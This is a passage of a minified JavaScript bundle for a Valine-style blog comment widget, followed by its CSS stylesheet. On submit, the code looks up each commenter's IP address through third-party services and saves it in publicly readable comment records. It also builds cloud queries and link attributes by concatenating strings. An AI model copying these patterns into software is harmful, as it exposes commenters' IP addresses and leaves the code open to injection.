A="https://",k="";if(!e.serverURLs)switch(e.app_id.slice(-9)){case"-9Nh9j0Va":A+="tab.";break;case"-MdYXbMMI":A+="us."}k=e.serverURLs||A+"avoscloud.com",f||(n.init({appId:e.app_id||e.appId,appKey:e.app_key||e.appKey,serverURLs:k}),f=!0),t.v=n}catch(e){var O="https://disbb.com";return void(t.el?t.nodata.show('<pre style="color:red;text-align:left;">'+e+"<br>Valine:<b>"+t.version+"</b><br>feedback:"+O+"</pre>"):console&&console.log("%c"+e+"\n%cValine%c"+t.version+" "+O,"color:red;","background:#000;padding:5px;line-height:30px;color:#fff;","background:#456;line-height:30px;padding:5px;color:#fff;"))}var S='<div class="spinner"><div class="r1"></div><div class="r2"></div><div class="r3"></div><div class="r4"></div><div class="r5"></div></div>',E=t.el.querySelector(".vloading");E.innerHTML=S,t.loading={show:function(){E.setAttribute("style","display:block;"),t.nodata.hide()},hide:function(){E.setAttribute("style","display:none;"),0===t.el.querySelectorAll(".vcard").length&&t.nodata.show()}},t.loading.hide();var C=t.el.querySelector(".vsubmitting");C.innerHTML=S,t.submitting={show:function(){C.setAttribute("style","display:block;")},hide:function(){C.setAttribute("style","display:none;"),t.nodata.hide()}};var T=t.el.querySelector(".vmark");t.alert={show:function(e){T.innerHTML='<div class="valert txt-center"><div class="vtext">'+e.text+'</div><div class="vbtns"></div></div>';var n=T.querySelector(".vbtns"),r='<button class="vcancel vbtn">'+(e&&e.ctxt||t.i18n.cancel)+"</button>",i='<button class="vsure vbtn">'+(e&&e.otxt||t.i18n.continue)+"</button>";if(n.innerHTML=""+r+(e.type&&i),T.querySelector(".vcancel").addEventListener("click",function(e){t.alert.hide()}),T.setAttribute("style","display:block;"),e&&e.type){var o=T.querySelector(".vsure");_.on("click",o,function(n){t.alert.hide(),e.cb&&e.cb()})}},hide:function(){T.setAttribute("style","display:none;")}};var j=new t.v.Query("Comment");j.equalTo("url",l.url);var I=new t.v.Query("Comment");I.equalTo("url",l.url+"/");var N=u.Query.or(j,I);N.notEqualTo("isSpam",!0),N.count().then(function(e){t.el.querySelector(".count").innerHTML=e,"[object HTMLSpanElement]"==v.call(t.count_el)&&(t.count_el.innerHTML=e)}).catch(function(e){console.log(e),t.el.querySelector(".count").innerHTML=0}),t.bind(e)}},{key:"bind",value:function(e){var t=this,n=t.el.querySelector(".vsmile-icons");_.on("click",n,function(e){var n=t.el.querySelector(".veditor"),r=e.target.src;if(void 0!==r){var i="[:"+decodeURI(r).replace(/^.*\/(.*)$/,"$1")+"]";if(document.selection)n.focus(),sel=document.selection.createRange(),sel.text=i,n.focus();else if(n.selectionStart||"0"==n.selectionStart){var o=n.selectionStart,s=n.selectionEnd,a=s;n.value=n.value.substring(0,o)+i+n.value.substring(s,n.value.length),a+=i.length,n.focus(),n.selectionStart=a,n.selectionEnd=a}else n.value+=i,n.focus();l.comment=n.value;var u=t.el.querySelector(".vsubmit");u.getAttribute("disabled")&&u.removeAttribute("disabled")}});var r=t.el.querySelector(".comment_trigger");_.on("click",r,function(e){r.setAttribute("style","display:none"),t.el.querySelector(".auth-section").removeAttribute("style"),t.el.querySelector(".veditor").focus()}),_.on("click",t.el.querySelector(".vcancel-comment-reply"),function(e){t.reset()});var i=function(e){e.offsetHeight>180&&(e.classList.add("expand"),_.on("click",e,function(t){e.setAttribute("class","vcomment")}))},a=1,u=0,c=function e(){var n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:1;t.loading.show(),t.v.Query.doCloudQuery("select nick, comment, link, rid, mail, cname, isSpam\n from Comment\n where (rid='' or rid is not exists) and (url='"+l.url+"' or url='"+l.url+"/')\n order by -createdAt\n limit "+(n-1)*d+","+d).then(function(r){r=r&&r.results||[];var i=r.length;if(i){for(var o=0;o<i;o++)if(!r[o].get("isSpam")){var s=v(r[o],t.el.querySelector(".vlist"),!1);s.setAttribute("style","margin-bottom: .5em"),f(s)}var c=t.el.querySelector(".vpage");c.innerHTML=d*n<u?'<div id="vmore" class="more">'+t.i18n.more+"</div>":"";var l=c.querySelector("#vmore");l&&_.on("click",l,function(t){c.innerHTML="",e(++a)})}t.loading.hide()}).catch(function(e){console.log(e),t.loading.hide()})};t.v.Query.doCloudQuery("select count(*)\n from Comment\n where (rid='' or rid is not exists) \n and (url='"+l.url+"' or url='"+l.url+"/')\n order by -createdAt").then(function(e){u=e.count,c(1)});var f=function e(n){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1,i=n.querySelector(".vcomment-children"),o=i.querySelector(".vlist"),s=n.getAttribute("id");if(r<=0&&i.setAttribute("style","margin-left: 0 !important"),r>=h)return void t.v.Query.doCloudQuery("select count(*)\n from Comment\n where rid='"+s+"' and (url='"+l.url+"' or url='"+l.url+"/')\n order by -createdAt").then(function(r){if(r.count>0){var o=i.querySelector(".vshow-children-wrapper");o.setAttribute("style","display: block !important;"),o.innerHTML='<span class="vshow-children" rid="'+s+'">'+t.i18n.more+"</span>";var a=o.querySelector(".vshow-children");_.on("click",a,function(t){o.setAttribute("style","display: none !important;"),e(n,-1e3)})}},function(e){console.log(e)});t.v.Query.doCloudQuery("select nick, comment, link, rid, mail, cname, isSpam\n from Comment\n where rid='"+s+"' and (url='"+l.url+"' or url='"+l.url+"/')\n order by -createdAt").then(function(t){t=t&&t.results||[];var n=t.length;if(n)for(var i=0;i<n;i++)if(!t[i].get("isSpam")){var s=v(t[i],o,!0);e(s,r+1)}}).catch(function(e){console.log(e),t.loading.hide()})},v=function(e){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,r=!(arguments.length>2&&void 0!==arguments[2])||arguments[2],o=document.createElement("li");o.setAttribute("class","vcard"),o.setAttribute("id",e.id),/(.+)@(.+)/.test(e.get("mail"));var s="https://gravatar.loli.net/avatar/4212ef0667ec196e14d108a009d27160.jpg?size=80",a=RegExp.$1;"qq.com"==RegExp.$2&&(s="https://q1.qlogo.cn/g?b=qq&nk="+a+"&s=100"),o.innerHTML='<div class="vcomment-body">\n <div class="vhead" >\n <img class="vavatar" src="'+s+"\"/>\n <a rid='"+e.id+"' at='@"+e.get("nick")+'\' class="vat" id="at-'+e.id+'">'+t.i18n.reply+'</a>\n <div class="vmeta-info">\n '+(e.get("link")?'<a class="vname" href="'+e.get("link")+'" target="_blank" rel="nofollow" > '+e.get("nick")+"</a>":'<span class="vname">'+e.get("nick")+"</span>")+"\n "+(a===p?'<span class="vtime"><svg xmlns:xlink="http://www.w3.org/1999/xlink" p-id="1615" xmlns="http://www.w3.org/2000/svg" version="1.1" viewBox="0 0 1024 1024" style="height: .8em;width: .8em;fill: #168cfd;" class="icon" t="1559101574545"><defs><style type="text/css"></style></defs><path d="M582.044306 993.554603l17.113098-99.494753-72.233191-70.442285c-25.072678-24.27672-34.027206-57.109988-24.07773-87.555383 9.949475-30.445394 36.41508-51.538282 70.840264-56.51302l87.356393-12.735328c-3.780801-2.586864-7.163622-5.173727-10.347454-7.95958-10.944423-9.551496-18.705014-19.699961-23.480762-30.047415s-7.561601-21.092888-8.15857-31.440342c-0.596969-10.546444 0-20.893898 1.989895-31.042363 1.392927-8.15857 3.581811-15.123202 6.168675-20.893898 2.586864-5.770696 5.969685-10.546444 10.148465-14.725223 4.17878-3.97979 8.755538-7.95958 14.327244-11.541391 5.571706-3.780801 11.143412-8.15857 17.312087-13.730276 5.372717-4.775748 10.148465-11.342402 14.725223-19.898951 4.17878-8.357559 8.15857-17.113098 11.541391-25.868636 3.382822-9.949475 6.566654-20.694909 9.153517-31.440342 6.765643-1.989895 13.133307-5.571706 19.301982-11.143412 5.372717-4.775748 10.148465-11.342402 14.725223-19.898951 4.17878-8.556549 7.561601-19.699961 9.551496-34.027206 1.392927-10.944423 1.193937-19.898951-0.397979-27.460552-1.591916-7.561601-3.97979-13.531286-6.566654-18.307035-2.586864-5.571706-6.367664-9.750486-11.143412-12.337349 0.596969-27.062573-0.994948-54.324135-5.173727-81.386708-3.183832-23.082783-9.153517-47.558492-17.710066-73.626117s-21.291877-49.946366-38.205985-71.636222c-7.561601-9.551496-17.312087-18.904003-29.649436-28.05752-11.93937-9.153517-26.067625-17.312087-41.588807-24.873688-15.720171-7.561601-32.43529-13.531286-50.344345-18.307035s-37.012048-7.163622-56.51302-7.163622c-15.720171 0-31.838321 1.591916-48.35445 4.17878-16.715119 2.984843-33.032258 7.561601-49.349398 14.327244-16.31714 6.765643-32.43529 16.11815-48.35445 28.05752s-30.246405 27.062573-43.180723 45.369607c-13.531286 19.500972-23.878741 41.588807-31.042363 66.064516-7.163622 24.475709-12.13836 47.558492-14.725223 69.248348-3.581811 25.868636-4.775748 51.737272-4.17878 77.406918-5.571706 6.964633-9.750486 13.929265-12.337349 21.490867-2.785853 6.765643-4.576759 14.725223-5.571706 23.878741-1.193937 9.153517 0 19.699961 3.382822 31.042363 3.581811 11.541391 7.561601 20.29693 12.337349 26.465604 4.775748 6.168675 9.153517 10.944423 13.332297 14.327244 4.775748 3.581811 9.551496 5.770696 14.327244 7.163622 3.382822 10.745433 6.765643 21.291877 10.148465 31.440342 3.382822 8.755538 6.964633 17.312087 11.143412 25.868636 4.17878 8.556549 8.755538 15.123202 14.327244 19.898951 11.740381 9.551496 21.888846 18.705014 31.042363 27.460552 9.153517 8.755538 14.327244 21.291877 15.720171 37.609017 0.596969 10.347454 0.994948 19.898951 0.994948 28.654489 0 8.954528-1.591916 17.312087-4.576759 25.470657-2.984843 8.15857-8.556549 16.31714-16.31714 24.475709-7.760591 8.15857-18.705014 16.715119-33.032258 25.470657-17.511077 11.541391-38.006996 20.29693-61.487757 26.465604-23.480762 6.168675-125.761368 41.389817-147.849203 48.951419-21.888846 7.362612-41.190828 17.511077-57.507967 30.445394-16.11815 12.735328-26.266615 31.838321-30.445394 56.910999C2.387875 881.52351 0.994949 888.488143 4.57676 916.346674c3.581811 27.659541 9.153517 44.17567 16.715119 49.747377 6.168675 4.576759 23.679751 10.148465 52.931209 16.715119 29.251457 6.566654 213.11776 41.190828 426.633501 41.190828 27.858531 0 54.722114-0.596969 80.59075-1.790906C580.253401 1012.856585 580.45239 1003.305088 582.044306 993.554603z" p-id="1616"></path><path d="M1004.300038 748.399532l-106.459386-15.521182c-16.31714-2.387874-35.619122-16.31714-42.981733-31.241353l-47.558492-96.509911c-3.581811-7.362612-8.556549-11.143412-13.332297-11.143412-4.775748 0-9.551496 3.780801-13.332297 11.143412l-47.558492 96.509911c-7.362612 14.725223-26.664594 28.853478-42.981733 31.241353l-106.459386 15.521182c-16.31714 2.387874-20.09794 13.730276-8.15857 25.271667l77.008939 75.019044c11.740381 11.541391 19.102993 34.226195 16.31714 50.543335l-18.108045 106.061407c-1.989895 11.740381 2.586864 18.705014 10.745433 18.705014 3.183832 0 6.765643-0.994948 10.745433-3.183832l95.116984-50.145356c7.362612-3.780801 16.914108-5.770696 26.465604-5.770696 9.551496 0 19.301982 1.989895 26.465604 5.770696l95.116984 50.145356c3.97979 2.188885 7.760591 3.183832 10.745433 3.183832 8.15857 0 12.735328-6.964633 10.745433-18.705014l-18.108045-106.061407c-2.785853-16.31714 4.576759-39.001943 16.31714-50.543335l77.008939-75.019044C1024.198988 762.129808 1020.617177 750.787406 1004.300038 748.399532z" p-id="1617"></path></svg></span>':"")+'\n <span class="vtime">'+w(e.get("createdAt"),t.i18n)+'</span>\n\t\t\t\t\t\t\t\t\t\t\t<span class="ipaddr">'+e.get("cname")+'</span>\n </div>\n </div>\n <section class="text-wrapper" id="comment-'+e.id+'">\n <div class="vcomment">'+e.get("comment")+'</div>\n </section>\n </div>\n <div class="vcomment-children">\n <div class="vshow-children-wrapper" style="display: none"></div>\n <ul class="vlist" id="children-list-'+e.id+'"></ul>\n </div>';for(var u=n||t.el.querySelector(".vlist"),c=u.querySelectorAll("li"),l=o.querySelectorAll("a"),f=0,h=l.length;f<h;f++){var d=l[f];d&&"at"!=d.getAttribute("class")&&(d.setAttribute("target","_blank"),d.setAttribute("rel","nofollow"))}r?u.insertBefore(o,c[0]):u.appendChild(o);var v=o.querySelector(".vcomment");return i(v),j(o),o},m={veditor:"comment",vnick:"nick",vlink:"link",vmail:"mail"},b={};for(var x in m)m.hasOwnProperty(x)&&function(){var e=m[x],n=t.el.querySelector("."+x);b[e]=n,_.on("input",n,function(t){l[e]=n.value})}();var A=function(){var e=g&&g.getItem("ValineCache");if(e){e=JSON.parse(e);var n=["nick","link","mail"];for(var r in n){var i=n[r];t.el.querySelector(".v"+i).value=e[i],l[i]=e[i]}if(""!=e.mail){var o=/(.+)@(.+)/,s=e.mail.toLowerCase().trim();o.test(s);var a=RegExp.$1,u=RegExp.$2,c=t.el.querySelector(".visitor_avatar");"qq.com"==u?c.setAttribute("src","https://q1.qlogo.cn/g?b=qq&nk="+a+"&s=100"):c.setAttribute("src","https://gravatar.loli.net/avatar/4212ef0667ec196e14d108a009d27160.jpg?size=80")}}};A(),t.reset=function(){for(var e in m)if(m.hasOwnProperty(e)){var n=m[e],r=t.el.querySelector("."+e);r.value="",l[n]=""}l.rid="",l.nick="",A(),E.getAttribute("triggered")&&(E.setAttribute("style","display:none;"),E.removeAttribute("triggered")),t.el.querySelector(".vcancel-comment-reply").setAttribute("style","display:none"),t.el.querySelector("#vinputs-placeholder").appendChild(t.el.querySelector(".vinputs-wrap"))};var k=t.el.querySelector(".vsubmit"),O=function(n){if(k.getAttribute("disabled"))return void t.alert.show({type:0,text:'再等等,评论正在提交中ヾ(๑╹◡╹)ノ"',ctxt:"好的"});if(""==l.comment)return void b.comment.focus();if(""==l.nick)return void b.nick.focus();if(l.comment=s(o(l.comment.replace(/\[:(.*?\.\w+)\]/g,'<img src="'+e.emoticon_url+'/$1" alt="$1" class="vemoticon-img">')),{onIgnoreTagAttr:function(e,t,n,r){if("class"===t)return t+'="'+s.escapeAttrValue(n)+'"'}}),l.comment.indexOf(l.at)>-1&&""!=l.at){var r='<a class="at" href=\'#'+l.rid+"'>"+l.at+"</a>";l.comment=l.comment.replace(l.at,r)}var i=y.mail(l.mail),a=y.link(l.link);l.mail=i.k?i.v:"",l.link=a.k?a.v:"",i.k&&a.k?T():t.alert.show({type:0,text:t.i18n.input_tips,ctxt:t.i18n.confirm})},S=t.el.querySelector(".vemoji-btn"),E=t.el.querySelector(".vsmile-icons");_.on("click",S,function(e){E.getAttribute("triggered")?(E.setAttribute("style","display:none;"),E.removeAttribute("triggered")):(E.removeAttribute("style"),E.setAttribute("triggered",1))});var C=function(){var e=new t.v.ACL;return e.setPublicReadAccess(!0),e.setPublicWriteAccess(!1),e},T=function(){k.setAttribute("disabled",!0),t.submitting.show();var e=t.v.Object.extend("Comment"),n=new e;for(var r in l)if(l.hasOwnProperty(r)){if("at"===r)continue;var i=l[r];n.set(r,i)}n.setACL(C()),n.save().then(function(e){g&&g.setItem("ValineCache",JSON.stringify({nick:l.nick,link:l.link,mail:l.mail}));var n=t.el.querySelector(".count");if(n.innerText=Number(n.innerText)+1,""===l.rid)v(e,null,!0);else{var r=t.el.querySelector("#children-list-"+l.rid);v(e,r,!0)}k.removeAttribute("disabled"),t.submitting.hide(),t.nodata.hide(),t.reset()}).catch(function(e){t.submitting.hide()})},j=function(e){var n=e.getAttribute("id"),r=e.querySelector("#at-"+n);_.on("click",r,function(i){var o=r.getAttribute("at"),s=r.getAttribute("rid");l.rid=s,l.at=o,b.comment.value=o+" "+b.comment.value,e.querySelector("#comment-"+n).appendChild(t.el.querySelector(".vinputs-wrap")),t.el.querySelector(".vcancel-comment-reply").removeAttribute("style"),t.el.querySelector(".comment_trigger").setAttribute("style","display:none"),t.el.querySelector(".auth-section").removeAttribute("style"),t.el.querySelector(".veditor").focus(),b.comment.focus()})};_.off("click",k,O),_.on("click",k,O)}}]),e}(),_={on:function(e,t,n,r){t.addEventListener?t.addEventListener(e,n,r||!1):t.attachEvent?t.attachEvent("on"+e,n):t["on"+e]=n},off:function(e,t,n,r){t.removeEventListener?t.removeEventListener(e,n,r||!1):t.detachEvent?t.detachEvent("on"+e,n):t["on"+e]=null}},y={mail:function(e){return{k:/\w[-\w.+]*@([A-Za-z0-9][-A-Za-z0-9]+\.)+[A-Za-z]{2,14}/.test(e),v:e}},link:function(e){return e.length>0&&(e=/^(http|https)/.test(e)?e:"http://"+e),{k:!(e.length>0)||/(http|https):\/\/[\w\-_]+(\.[\w\-_]+)+([\w\-\.,@?^=%&amp;:\/~\+#]*[\w\-\@?^=%&amp;\/~\+#])?/.test(e),v:e}}},b=function(e){var t=x(e.getDate(),2),n=x(e.getMonth()+1,2);return x(e.getFullYear(),2)+"-"+n+"-"+t},w=function(e,t){try{var n=e.getTime(),r=(new Date).getTime(),i=r-n,o=Math.floor(i/864e5);if(0===o){var s=i%864e5,a=Math.floor(s/36e5);if(0===a){var u=s%36e5,c=Math.floor(u/6e4);if(0===c){var l=u%6e4,f=Math.round(l/1e3);return f<35?t.now:f+t.seconds}return c+t.minutes}return a+t.hours}return o<3?o+t.days:b(e)}catch(e){console.log(e)}},x=function(e,t){for(var n=e.toString();n.length<t;)n="0"+n;return n},A=function(){var e=new XMLHttpRequest;e.open("GET","https://api.ip.sb/geoip",!0),e.onload=function(){if(this.status>=200&&this.status<400){var e=JSON.parse(this.response);l.ip=e.ip,l.cname=e.region,"United States"==e.country&&(l.cname="未知")}},e.onerror=function(){k()},e.send(),""==l.ip&&(l.cname="未知")},k=function(){var e=new XMLHttpRequest;e.open("GET","https://api.ipify.org/?format=json",!0),e.onload=function(){if(this.status>=200&&this.status<400){var e=JSON.parse(this.response);l.ip=e.ip,l.cname="未知"}},e.onerror=function(){},e.send()};e.exports=m},function(e,t,n){t=e.exports=n(13)(void 0),t.push([e.i,'.valine {\n /************ Loading ************/ }\n .valine * {\n -webkit-box-sizing: border-box;\n box-sizing: border-box;\n font-size: 14px;\n font-weight: normal;\n line-height: 1.42857143;\n color: var(--color);\n -webkit-transition: all .3s ease;\n transition: all .3s ease;\n margin: initial;\n padding: initial; }\n .valine .vemoticon-img {\n display: inline-block;\n max-height: 26px;\n margin: 0 2px; }\n .valine .vsubmitting {\n margin: 1em 0; }\n .valine .vcancel-comment-reply {\n margin: 1.5em 0 .5em;\n cursor: pointer;\n color: var(--color-secondary);\n text-decoration: underline; }\n .valine .vinputs-area {\n overflow: hidden;\n position: relative;\n border: 1px solid var(--border-color); }\n .valine .vinputs-area .veditor-area {\n position: inherit; }\n .valine .vinputs-area .btn-wrap {\n position: absolute !important;\n right: 1.5em;\n bottom: 0; }\n .valine .vinputs-area .btn-wrap .vfunction-btn {\n display: inline-block; }\n .valine .vinputs-area .btn-wrap .vfunction-btn svg {\n fill: #bbb;\n cursor: pointer; }\n .valine .vinputs-area .btn-wrap .vfunction-btn svg:hover {\n fill: #777777; }\n .valine .vinputs-area .btn-wrap .vfunction-btn svg:active {\n fill: #777777; }\n .valine .vinputs-area .vextra-area {\n margin: .4em 0 .4em .5em; }\n .valine .vinputs-area .vextra-area .vsmile-icons {\n padding: .2em 0;\n border-top: 1px solid rgba(150, 150, 150, 0.08);\n border-radius: 0;\n margin: .3em 0;\n max-height: 145px;\n overflow: auto; }\n .valine .vinputs-area .vextra-area .vsmile-icons img {\n display: inline-block;\n width: auto !important;\n height: 28px !important;\n margin-right: 4px;\n cursor: pointer; }\n .valine .vinputs-area .vextra-area .vsmile-icons img:hover {\n background: var(--border-color); }\n .valine .vinputs-area .vextra-area .vpreview-text {\n border-top: 1px solid rgba(150, 150, 150, 0.08);\n border-radius: 0;\n padding: .5em .5em;\n margin: .3em 0;\n max-height: 10em;\n overflow: auto; }\n .valine .vinputs-area .textarea-wrapper {\n color: var(--color-secondary);\n width: 100%;\n height: 100%;\n background: var(--background);\n position: relative;\n border-radius: 0; }\n .valine .vinputs-area .textarea-wrapper .comment_trigger {\n position: absolute;\n z-index: 10;\n width: 100%;\n height: 100%;\n background-color: var(--background);\n padding: 0 0 0 1.5em; }\n .valine .vinputs-area .textarea-wrapper .comment_trigger .avatar {\n position: absolute;\n width: 36px;\n height: 36px;\n position: absolute;\n top: 50%;\n -webkit-transform: translateY(-50%);\n transform: translateY(-50%); }\n .valine .vinputs-area .textarea-wrapper .comment_trigger .avatar img {\n border-radius: 100%;\n width: 36px;\n height: 36px; }\n .valine .vinputs-area .textarea-wrapper .comment_trigger .trigger_title {\n position: absolute;\n top: 50%;\n -webkit-transform: translateY(-50%);\n transform: translateY(-50%);\n color: var(--color-secondary);\n font-size: 1.4em;\n margin-left: 3.5em; }\n .valine .vinputs-area .textarea-wrapper textarea {\n padding: 1em 1em 0;\n width: 100%;\n background: var(--background);\n border: none;\n resize: none;\n min-height: 6em;\n margin: 0; }\n .valine .vinputs-area .textarea-wrapper textarea:focus {\n border-color: var(--border-color);\n outline: 0; }\n .valine .vinputs-area .trigger-section {\n display: none; }\n .valine .vinputs-area .auth-section {\n display: -webkit-box;\n display: flex;\n display: -ms-flexbox;\n background: var(--background-secondary);\n padding: .3em .6em; }\n .valine .vinputs-area .auth-section .input-wrapper {\n -ms-flex: 1 1 27%;\n -webkit-box-flex: 1;\n flex: 1 1 27%;\n width: 27%; }\n .valine .vinputs-area .auth-section .input-wrapper input {\n color: var(--color-secondary);\n background: var(--background-secondary);\n border: none;\n border-radius: 0;\n padding: .6em;\n margin: 0;\n line-height: 2;\n font-size: 1em !important; }\n .valine .vinputs-area .auth-section .input-wrapper input:focus {\n border-color: var(--border-color);\n outline: 0; }\n .valine .vinputs-area .auth-section input {\n width: 100%; }\n .valine .vinputs-area .auth-section .post-action {\n -ms-flex: 1 1 19%;\n -webkit-box-flex: 1;\n flex: 1 1 19%;\n width: 19%;\n margin: 0;\n padding: 2px 0 0; }\n .valine .vinputs-area .auth-section .post-action button {\n color: var(--background);\n width: 100%;\n line-height: 2;\n font-weight: bolder;\n border-radius: 30px;\n border: 1px solid var(--border-color);\n background-color: var(--ghost-accent-color);\n padding: .4em .5em;\n -webkit-appearance: none;\n -moz-appearance: none;\n appearance: none;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n font-size: 1em !important; }\n .valine .vinputs-area .auth-section .post-action button:hover {\n background-color: #668aaa; }\n @media screen and (max-width: 720px) {\n .valine .vinputs-area .auth-section {\n display: block; }\n .valine .vinputs-area .auth-section .input-wrapper, .valine .vinputs-area .auth-section .post-action {\n -ms-flex: 1 1 100%;\n -webkit-box-flex: 1;\n flex: 1 1 100%;\n padding-right: 0;\n width: 100%; } }\n .valine .vinputs-area .vmark {\n position: absolute;\n background: var(--color);\n width: 100%;\n height: 100%;\n left: 0;\n top: 0; }\n .valine .vinputs-area .vmark .valert {\n padding: 2em 0 0 0; }\n .valine .vinputs-area .vmark .valert .vtext {\n color: var(--background);\n padding: 15px; }\n .valine .vinputs-area .vmark .valert .vcode {\n width: 75px;\n border-radius: 5px;\n background: var(--background-secondary); }\n .valine .vinputs-area .vmark .valert .vcode:focus {\n background-color: var(--background); }\n @media screen and (max-width: 720px) {\n .valine .vinputs-area .vmark .valert {\n padding: 8em 0; }\n .valine .vinputs-area .vmark .valert .vtext {\n color: var(--background);\n padding: 10px; } }\n .valine .info {\n margin: 2em 0;\n font-size: 16px;\n line-height: 1;\n position: relative;\n text-align: center; }\n .valine .info::before {\n display: block;\n content: \'\';\n border-top: 1px solid var(--border-color);\n margin: 0 25%;\n position: relative;\n top: 10px;\n z-index: 1; }\n .valine .info svg {\n margin-right: 2px;\n overflow: hidden;\n fill: currentColor; }\n .valine .info .col {\n display: inline-block;\n padding: 0 20px;\n position: relative;\n background: var(--background);\n z-index: 2; }\n .valine .power {\n color: var(--color-secondary);\n font-size: 0.625em !important;\n position: relative; }\n .valine a {\n color: #3eb0ef;\n text-decoration: none;\n border: none; }\n .valine .txt-center {\n text-align: center; }\n .valine .float-right {\n float: right !important; }\n .valine .pd5 {\n padding: 5px; }\n .valine .pd10 {\n padding: 10px; }\n .valine .vbtn {\n display: inline-block;\n -webkit-appearance: none;\n -moz-appearance: none;\n appearance: none;\n border: 1px solid var(--border-color);\n background-color: var(--color);\n border-radius: .1em;\n color: var(--background);\n padding: .5em 1.5em;\n cursor: pointer;\n white-space: nowrap;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n outline: none;\n min-width: 60px;\n max-width: 100%;\n margin: 0 1em; }\n .valine .vbtn:active,\n .valine .vbtn:hover {\n border-color: var(--border-color); }\n .valine .vpage {\n margin: 1.5em 0; }\n .valine .vpage .more {\n width: 100%;\n height: 2.5em;\n line-height: 2.5em;\n text-align: center;\n cursor: pointer;\n color: var(--color);\n background: var(--background-secondary);\n border-radius: 1.25em; }\n .valine .vlist {\n width: 100%;\n list-style: none;\n margin: 0;\n padding: 0; }\n .valine .vlist .vcard {\n list-style: none;\n word-break: break-all; }\n .valine .vlist .vcard .vcomment-body {\n padding: 2em .5em 2em;\n border-top: 1px solid rgba(150, 150, 150, 0.08); }\n @media screen and (max-width: 600px) {\n .valine .vlist .vcard .vcomment-body {\n padding: 1em 1em 1em;\n border-top: 0 !important; } }\n .valine .vlist .vcard .vcomment-body:hover .vat {\n background: var(--color) !important; }\n .valine .vlist .vcard .vcomment-body .vat {\n float: right;\n background: transparent;\n color: var(--background-secondary);\n padding: .2em 1em;\n line-height: 1.2;\n cursor: pointer;\n word-break: keep-all;\n white-space: nowrap;\n text-transform: uppercase; }\n .valine .vlist .vcard .vcomment-body .vavatar {\n margin-right: 1em;\n margin-top: 0.3em;\n display: inline-block;\n height: 40px;\n width: 40px;\n position: absolute;\n top: 0;\n border-radius: 50%; }\n .valine .vlist .vcard .vcomment-body .vhead {\n line-height: 1;\n display: block;\n margin-bottom: .3em;\n position: relative; }\n .valine .vlist .vcard .vcomment-body .vhead .vmeta-info {\n margin: 0 0 0 50px; }\n .valine .vlist .vcard .vcomment-body .vhead .vname {\n font-weight: 400;\n font-size: 1em;\n color: #5F6469; }\n .valine .vlist .vcard .vcomment-body .vhead .vmeta-info a {\n font-weight: 500;\n color: var(--color); }\n .valine .vlist .vcard .vcomment-body .vhead .vmeta-info a:hover {\n font-weight: 500;\n color: #3eb0ef; }\n .valine .vlist .vcard .vcomment-body .vhead .spacer {\n color: var(--color-secondary);\n margin-left: 0.3em;\n margin-right: 0.3em; }\n .valine .vlist .vcard .vcomment-body .vhead .vtime, .valine .vlist .vcard .vcomment-body .vhead .ipaddr {\n color: var(--color-secondary);\n display: inline-block;\n font-weight: normal;\n font-size: 80%; }\n .valine .vlist .vcard .vcomment-body .text-wrapper {\n overflow: hidden;\n -webkit-box-sizing: border-box;\n box-sizing: border-box;\n margin-left: 50px; }\n .valine .vlist .vcard .vcomment-body .text-wrapper .vcomment {\n position: relative;\n overflow: auto;\n color: var(--color); }\n .valine .vlist .vcard .vcomment-body .text-wrapper .vcomment blockquote p {\n padding-left: 12px; }\n .valine .vlist .vcard .vcomment-body .text-wrapper .vcomment p {\n word-wrap: break-word;\n white-space: pre-wrap;\n word-break: break-all;\n text-align: justify;\n line-height: 1.8; }\n .valine .vlist .vcard .vcomment-body .text-wrapper .vcomment pre {\n overflow: auto;\n padding: 6px 10px;\n word-wrap: break-word;\n color: var(--color-secondary);\n background: var(--background-secondary);\n border-radius: 3px;\n font-size: .875rem;\n margin: 5px 0; }\n .valine .vlist .vcard .vcomment-body .text-wrapper .vcomment.expand {\n cursor: pointer;\n max-height: 11.25rem;\n overflow: hidden; }\n .valine .vlist .vcard .vcomment-body .text-wrapper .vcomment.expand:before {\n display: block;\n content: "";\n position: absolute;\n width: 100%;\n left: 0;\n top: 0;\n bottom: 3.15rem;\n pointer-events: none; }\n .valine .vlist .vcard .vcomment-body .text-wrapper .vcomment.expand:after {\n display: block;\n content: "";\n text-align: center;\n color: var(--color-secondary);\n position: absolute;\n width: 100%;\n height: 3.15rem;\n line-height: 3.15rem;\n left: 0;\n bottom: 0;\n pointer-events: none; }\n .valine .vlist .vcard .vcomment-children {\n margin-left: 48px; }\n @media screen and (max-width: 600px) {\n .valine .vlist .vcard .vcomment-children {\n margin-left: 16px;\n border-left: 1px solid var(--border-color); } }\n .valine .vlist .vcard .vcomment-children .vshow-children-wrapper {\n margin: 0 0 2em; }\n .valine .vlist .vcard .vcomment-children .vshow-children-wrapper .vshow-children {\n color: var(--color-secondary);\n text-decoration: underline;\n cursor: pointer; }\n .valine .vlist .vempty {\n padding: 20px;\n text-align: center;\n color: var(--color-secondary); }\n .valine .spinner {\n margin: 10px auto;\n width: 50px;\n height: 30px;\n text-align: center;\n font-size: 10px; }\n .valine .spinner > div {\n background-color: var(--background-secondary);\n height: 100%;\n width: 6px;\n margin-right: 3px;\n display: inline-block;\n -webkit-animation: sk-stretchdelay 1.2s infinite ease-in-out;\n animation: sk-stretchdelay 1.2s infinite ease-in-out; }\n .valine .spinner .r2 {\n -webkit-animation-delay: -1.1s;\n animation-delay: -1.1s; }\n .valine .spinner .r3 {\n -webkit-animation-delay: -1.0s;\n animation-delay: -1.0s; }\n .valine .spinner .r4 {\n -webkit-animation-delay: -0.9s;\n animation-delay: -0.9s; }\n .valine .spinner .r5 {\n -webkit-animation-delay: -0.8s;\n animation-delay: -0.8s; }\n\n@-webkit-keyframes sk-stretchdelay {\n 0%,\n 40%,\n 100% {\n -webkit-transform: scaleY(0.4); }\n 20% {\n -webkit-transform: scaleY(1); } }\n\n@keyframes sk-stretchdelay {\n 0%,\n 40%,\n 100% {\n transform: scaleY(0.4);\n -webkit-transform: scaleY(0.4); }\n 20% {\n transform: scaleY(1);\n -webkit-transform: scaleY(1); } }\n .valine .vcomment .at {\n color: var(--color-secondary);\n font-weight: 300; }\n .valine .vcomment .at:hover {\n color: #3eb0ef; }\n',""])},function(e,t){function n(e,t){var n=e[1]||"",i=e[3];if(!i)return 